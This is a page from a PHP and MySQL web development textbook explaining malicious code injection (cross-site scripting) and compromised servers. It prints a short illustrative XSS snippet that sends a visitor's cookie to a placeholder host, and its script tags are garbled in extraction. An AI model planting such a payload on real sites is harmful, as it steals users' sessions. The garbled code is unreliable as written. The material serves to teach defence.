PHP and MySQL Web Development 4th Ed-tqw-_darksiderg

Understanding Who We’re Dealing With
365
Malicious Code Injection
One type of attack that has been particularly effective via the Web is what we might call
malicious code injection.The most famous of these is the Cross Site Scripting (known as
XSS, so as not to be confused with Cascading Style Sheets—CSS) attack.What is particularly
troubling about these attacks is that no obvious or immediate loss of data occurs,
but instead some sort of code executes, causing varying degrees of information loss or
redirection of users, possibly without their even noticing it.
Cross Site Scripting basically works as follows:
1. The malicious user, in a form that will then turn around and display to other people
the input it was given (such as a comment entry form or message board entry
form), enters text that not only represents the message they want to enter, but
some script to execute on the client, such as the following:
="text/javascript">
this.document = "go.somewhere.bad?cookie=" + this.cookie;
="text/javascript">
2. The malicious user then submits the form and waits.
3. The next user of the system who goes to view the page that contains that text
entered by the malicious user will execute the script code that was entered. In our
simple example, the user will be redirected, along with any cookie information
from the originating site.
Although this is a trivial example, client-side scripting is a very powerful language, and
the possibilities for what exactly this attack could do are frightening.
Compromised Server
Although the effects of a compromised server can include the effects of many of the
threats previously listed, it is still worth noting that sometimes the goal of invaders will
be to gain access to our system, most often as a super user (administrator on Windowsbased
systems and root on Unix-like systems).With this, they have nearly free reign over
the compromised computer and can execute any program they want, shut the computer
off, or install software that does things we likely would not appreciate.
We want to be particularly vigilant against this type of attack because one of the first
things attackers are likely to do after they have compromised a server is to cover their
tracks and hide all the evidence.
Understanding Who We’re Dealing With
Although we might instinctively classify all those who cause security problems as bad or
malicious people intent on causing us harm, there are often other actors in this arena
who are unwitting participants and might not appreciate being called such.